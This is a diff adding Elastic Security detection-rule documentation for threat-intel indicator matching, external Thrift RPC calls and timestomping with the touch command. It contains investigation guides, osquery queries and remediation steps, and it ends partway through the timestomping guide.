integrations has a match against an event that contains file hashes, such as antivirus alerts, process creation, library load, and file operation events. + +*Rule type*: threat_match + +*Rule indices*: + +* auditbeat-* +* endgame-* +* filebeat-* +* logs-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-threatintel.html +* https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html +* https://www.elastic.co/security/tip + +*Tags*: + +* Data Source: Elastic Endgame +* Rule Type: Threat Match +* Resources: Investigation Guide +* Domain: Endpoint +* Resources: Osquery + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Threat Intel Hash Indicator Match* + + +Threat Intel indicator match rules allow matching from a local observation, such as an endpoint event that records a file hash with an entry of a file hash stored within the Threat Intel integrations index. + +Matches are based on threat intelligence data that's been ingested during the last 30 days. Some integrations don't place expiration dates on their threat indicators, so we strongly recommend validating ingested threat indicators and reviewing match results. When reviewing match results, check associated activity to determine whether the event requires additional investigation. + +This rule is triggered when a hash indicator from the Threat Intel Filebeat module or an indicator ingested from a threat intelligence integration matches against an event that contains file hashes, such as antivirus alerts, file operation events, etc. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Gain context about the field that matched the local observation. This information can be found in the `threat.indicator.matched.field` field. +- Investigate the hash , which can be found in the `threat.indicator.matched.atomic` field: + - Search for the existence and reputation of the hash in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + - Scope other potentially compromised hosts in your environment by mapping hosts with file operations involving the same hash. +- Identify the process that created the file. + - Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Enrich the information that you have right now by determining how the file was dropped, where it was downloaded from, etc. This can help you determine if the event is part of an ongoing campaign against the organization. +- Retrieve the involved file and examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} +- Using the data collected through the analysis, scope users targeted and other machines infected in the environment. + + +*False Positive Analysis* + + +- Adversaries often use legitimate tools as network administrators, such as `PsExec` or `AdFind`. These tools are often included in indicator lists, which creates the potential for false positives. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule needs threat intelligence indicators to work. +Threat intelligence indicators can be collected using an https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#agent-ti-integration[Elastic Agent integration], +the https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#ti-mod-integration[Threat Intel module], +or a https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#custom-ti-integration[custom integration]. + +More information can be found https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html[here]. + + +==== Rule query + + +[source, js] +---------------------------------- +file.hash.*:* or process.hash.*:* or dll.hash.*:* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-ip-address-indicator-match.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-ip-address-indicator-match.asciidoc new file mode 100644 index 0000000000..dd008d4bc8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-ip-address-indicator-match.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-threat-intel-ip-address-indicator-match]] +=== Threat Intel IP Address Indicator Match + +This rule is triggered when an IP address indicator from the Threat Intel Filebeat module or integrations has a match against a network event. + +*Rule type*: threat_match + +*Rule indices*: + +* auditbeat-* +* endgame-* +* filebeat-* +* logs-* +* packetbeat-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-threatintel.html +* https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html +* https://www.elastic.co/security/tip + +*Tags*: + +* Data Source: Elastic Endgame +* Rule Type: Threat Match +* Resources: Investigation Guide +* Domain: Network +* Resources: Osquery + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Threat Intel IP Address Indicator Match* + + +Threat Intel indicator match rules allow matching from a local observation, such as an endpoint event that records a file hash with an entry of a file hash stored within the Threat Intel integrations index. + +Matches are based on threat intelligence data that's been ingested during the last 30 days. Some integrations don't place expiration dates on their threat indicators, so we strongly recommend validating ingested threat indicators and reviewing match results. When reviewing match results, check associated activity to determine whether the event requires additional investigation. + +This rule is triggered when an IP address indicator from the Threat Intel Filebeat module or a threat intelligence integration matches against a network event. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Gain context about the field that matched the local observation so you can understand the nature of the connection. This information can be found in the `threat.indicator.matched.field` field. +- Investigate the IP address, which can be found in the `threat.indicator.matched.atomic` field: + - Check the reputation of the IP address in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + - Execute a reverse DNS lookup to retrieve hostnames associated with the given IP address. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Identify the process responsible for the connection, and investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Retrieve the involved process executable and examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} +- Using the data collected through the analysis, scope users targeted and other machines infected in the environment. + + +*False Positive Analysis* + + +- When a match is found, it's important to consider the indicator's initial release date. Threat intelligence is useful for augmenting existing security processes but can quickly become outdated. In other words, some threat intelligence only represents a specific set of activity observed at a specific time. For example, an IP address may have hosted malware observed in a Dridex campaign months ago, but it's possible that IP has been remediated and no longer represents any threat. +- False positives might occur after large and publicly written campaigns if curious employees interact with attacker infrastructure. +- Some feeds may include internal or known benign addresses by mistake (e.g., 8.8.8.8, google.com, 127.0.0.1, etc.). Make sure you understand how blocking a specific domain or address might impact the organization or normal system functioning. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule needs threat intelligence indicators to work. +Threat intelligence indicators can be collected using an https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#agent-ti-integration[Elastic Agent integration], +the https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#ti-mod-integration[Threat Intel module], +or a https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#custom-ti-integration[custom integration]. + +More information can be found https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html[here]. + + +==== Rule query + + +[source, js] +---------------------------------- +source.ip:* or destination.ip:* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-url-indicator-match.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-url-indicator-match.asciidoc new file mode 100644 index 0000000000..b8686c4fc8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-url-indicator-match.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-threat-intel-url-indicator-match]] +=== Threat Intel URL Indicator Match + +This rule is triggered when a URL indicator from the Threat Intel Filebeat module or integrations has a match against an event that contains URL data, like DNS events, network logs, etc. + +*Rule type*: threat_match + +*Rule indices*: + +* auditbeat-* +* endgame-* +* filebeat-* +* logs-* +* packetbeat-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-threatintel.html +* https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html +* https://www.elastic.co/security/tip + +*Tags*: + +* Data Source: Elastic Endgame +* Rule Type: Threat Match +* Resources: Investigation Guide +* Domain: Network +* Resources: Osquery + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Threat Intel URL Indicator Match* + + +Threat Intel indicator match rules allow matching from a local observation, such as an endpoint event that records a file hash with an entry of a file hash stored within the Threat Intel integrations index. + +Matches are based on threat intelligence data that's been ingested during the last 30 days. Some integrations don't place expiration dates on their threat indicators, so we strongly recommend validating ingested threat indicators and reviewing match results. When reviewing match results, check associated activity to determine whether the event requires additional investigation. + +This rule is triggered when a URL indicator from the Threat Intel Filebeat module or a threat intelligence integration matches against an event that contains URL data, like DNS events, network logs, etc. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the URL, which can be found in the `threat.indicator.matched.atomic` field: + - Identify the type of malicious activity related to the URL (phishing, malware, etc.). + - Check the reputation of the IP address in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + - Execute a WHOIS lookup to retrieve information about the domain registration and contacts to report abuse. + - If dealing with a phishing incident: + - Contact the user to gain more information around the delivery method, information sent, etc. + - Analyze whether the URL is trying to impersonate a legitimate address. Look for typosquatting, extra or unusual subdomains, or other anomalies that could lure the user. + - Investigate the phishing page to identify which information may have been sent to the attacker by the user. +- Identify the process responsible for the connection, and investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Retrieve the involved process executable and examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} +- Using the data collected through the analysis, scope users targeted and other machines infected in the environment. + + +*False Positive Analysis* + + +- False positives might occur after large and publicly written campaigns if curious employees interact with attacker infrastructure. +- Some feeds may include internal or known benign addresses by mistake (e.g., 8.8.8.8, google.com, 127.0.0.1, etc.). Make sure you understand how blocking a specific domain or address might impact the organization or normal system functioning. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Consider reporting the address for abuse using the provided contact information. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule needs threat intelligence indicators to work. +Threat intelligence indicators can be collected using an https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#agent-ti-integration[Elastic Agent integration], +the https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#ti-mod-integration[Threat Intel module], +or a https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#custom-ti-integration[custom integration]. + +More information can be found https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html[here]. + + +==== Rule query + + +[source, js] +---------------------------------- +url.full:* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-windows-registry-indicator-match.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-windows-registry-indicator-match.asciidoc new file mode 100644 index 0000000000..bf00f4ee6f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-threat-intel-windows-registry-indicator-match.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-threat-intel-windows-registry-indicator-match]] +=== Threat Intel Windows Registry Indicator Match + +This rule is triggered when a Windows registry indicator from the Threat Intel Filebeat module or integrations has a match against an event that contains registry data. + +*Rule type*: threat_match + +*Rule indices*: + +* auditbeat-* +* endgame-* +* filebeat-* +* logs-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-threatintel.html +* https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html +* https://www.elastic.co/security/tip + +*Tags*: + +* OS: Windows +* Data Source: Elastic Endgame +* Rule Type: Threat Match +* Resources: Investigation Guide +* Platform: Windows +* Domain: Endpoint +* Resources: Osquery + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Threat Intel Windows Registry Indicator Match* + + +Threat Intel indicator match rules allow matching from a local observation, such as an endpoint event that records a file hash with an entry of a file hash stored within the Threat Intel integrations index. + +Matches are based on threat intelligence data that's been ingested during the last 30 days. Some integrations don't place expiration dates on their threat indicators, so we strongly recommend validating ingested threat indicators and reviewing match results. When reviewing match results, check associated activity to determine whether the event requires additional investigation. + +This rule is triggered when a Windows registry indicator from the Threat Intel Filebeat module or a threat intelligence integration matches against an event that contains registry data. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Check related threat reports to gain context about the registry indicator of compromise (IoC) and to understand if it's a system-native mechanism abused for persistence, to store data, to disable security mechanisms, etc. Use this information to define the appropriate triage and respond steps. +- Identify the process responsible for the registry operation and investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Retrieve the involved process executable and examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} +- Using the data collected through the analysis, scope users targeted and other machines infected in the environment. + + +*False Positive Analysis* + + +- Adversaries can leverage dual-use registry mechanisms that are commonly used by normal applications. These registry keys can be added into indicator lists creating the potential for false positives. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule needs threat intelligence indicators to work. +Threat intelligence indicators can be collected using an https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#agent-ti-integration[Elastic Agent integration], +the https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#ti-mod-integration[Threat Intel module], +or a https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html#custom-ti-integration[custom integration]. + +More information can be found https://www.elastic.co/guide/en/security/current/es-threat-intel-integrations.html[here]. + + +==== Rule query + + +[source, js] +---------------------------------- +registry.path:* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-thrift-rpc-method-from-an-external-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-thrift-rpc-method-from-an-external-client.asciidoc new file mode 100644 index 0000000000..d38b29440c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-thrift-rpc-method-from-an-external-client.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-thrift-rpc-method-from-an-external-client]] +=== Thrift RPC Method from an External Client + +Identifies the first decoded Apache Thrift RPC relationship from a public client address to a server. Thrift commonly connects trusted internal microservices and data platforms, and an externally originated method invocation can indicate an exposed service, unauthorized access, or exploitation of a public-facing Thrift endpoint. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-network_traffic.thrift-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2018-1320 +* https://attack.mitre.org/techniques/T1190/ +* https://thrift.apache.org/docs/ + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: New Terms + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Thrift RPC Method from an External Client* + + +Thrift is frequently used by internal microservices and Hadoop ecosystem services such as HBase, Hive, Spark, and Impala. Many deployments rely on network trust or application-specific authentication. This rule uses a five-day new-terms history window to surface the first observed public client and Thrift server pair that completes a decoded method invocation. + +The alert proves that a Thrift transaction was decoded, but it does not prove authentication bypass or successful exploitation. + + +*Possible investigation steps* + + +- Review `client.ip`, `server.ip`, `server.port`, `network_traffic.thrift.service`, `network_traffic.thrift.method`, `network_traffic.thrift.path`, `network_traffic.thrift.exceptions`, and `network.community_id`. +- Identify the server application and determine whether the service is intended to accept Internet originated Thrift calls. +- Validate the client against partner, VPN, administrator, and approved service inventories. +- Review the service IDL and determine whether the invoked method reads sensitive data, changes configuration, deletes resources, or executes jobs. +- Correlate with service authentication and audit logs because the passive transaction does not expose authoritative authentication state. + + +*False positive analysis* + + +- Authorized partner APIs and intentionally public Thrift services may alert on a new client/server relationship. +- NAT, proxies, or sensor placement can cause an expected caller to appear under a public address. +- Add narrow exceptions for approved client and server pairs rather than excluding a service or method globally. + + +*Response and remediation* + + +- Restrict exposed Thrift listeners to approved networks and require authenticated, encrypted transport. +- Block unauthorized clients and isolate the server if sensitive or administrative methods were invoked. +- Review downstream data access and endpoint activity for evidence of collection, lateral movement, or execution. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic Network Packet Capture integration with the Thrift protocol analyzer enabled. Packetbeat +supports TBinary over TSocket or TFramed transport. Compact, JSON, HTTP-wrapped, SASL-wrapped, custom, and encrypted +Thrift transports may not decode. Configure the relevant service IDL files so service, method, parameter, and exception +names are available where supported. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:network_traffic.thrift and +client.ip:( + * and + not ( + 10.0.0.0/8 or + 100.64.0.0/10 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.88.99.0/24 or + 192.168.0.0/16 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 224.0.0.0/4 or + 240.0.0.0/4 or + "::1" or + "fc00::/7" or + "fe80::/10" or + "ff00::/8" + ) +) and +server.ip:* and +network_traffic.thrift.method:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-timestomping-using-touch-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-timestomping-using-touch-command.asciidoc new file mode 100644 index 0000000000..1436822e7e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-timestomping-using-touch-command.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-timestomping-using-touch-command]] +=== Timestomping using Touch Command + +Timestomping is an anti-forensics technique which is used to modify the timestamps of a file, often to mimic files that are in the same folder. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Timestomping using Touch Command* + + +Timestomping is a technique used by adversaries to alter file timestamps, making malicious files blend with legitimate ones. The 'touch' command, prevalent in Linux and macOS, can modify access and modification times. Attackers exploit this to evade detection. The detection rule identifies suspicious 'touch' usage by non-root users, focusing on specific arguments and excluding benign processes, thus highlighting potential timestomping activities. + + +*Possible investigation steps* + + +- Review the process details to identify the user who executed the 'touch' command, focusing on the user.id field to determine if the user is legitimate and authorized to perform such actions. +- Examine the process.args field to understand the specific arguments used with the 'touch' command, particularly looking for the use of "-r", "-t", "-a*", or "-m*" which indicate potential timestomping activity. +- Investigate the parent process of the 'touch' command by checking the process.parent.name field to determine if it was initiated by a suspicious or unexpected process, excluding known benign processes like "pmlogger_daily", "pmlogger_janitor", and "systemd". +- Cross-reference the file paths and names involved in the 'touch' command with known system files and directories to assess if the files are legitimate or potentially malicious. +- Check for any recent alerts or logs related to the same user or process to identify patterns or repeated attempts at timestomping or other suspicious activities. + + +*False positive analysis* + + +- Non-root users running legitimate scripts or applications that use the touch command with similar arguments may trigger false positives. To mitigate this, identify and whitelist these specific scripts or applications by adding their paths to the exclusion list. +- Automated system maintenance tasks that involve file timestamp modifications can be mistaken for malicious activity. Review and exclude known maintenance processes by adding them to the exclusion criteria, ensuring they do not match the suspicious argument patterns. +- Development tools or environments that utilize the touch command for file management during build processes might be flagged. Analyze these tools and exclude their typical usage patterns by specifying their paths or parent processes in the exclusion list. +- User-initiated file management activities, such as organizing or backing up files, can 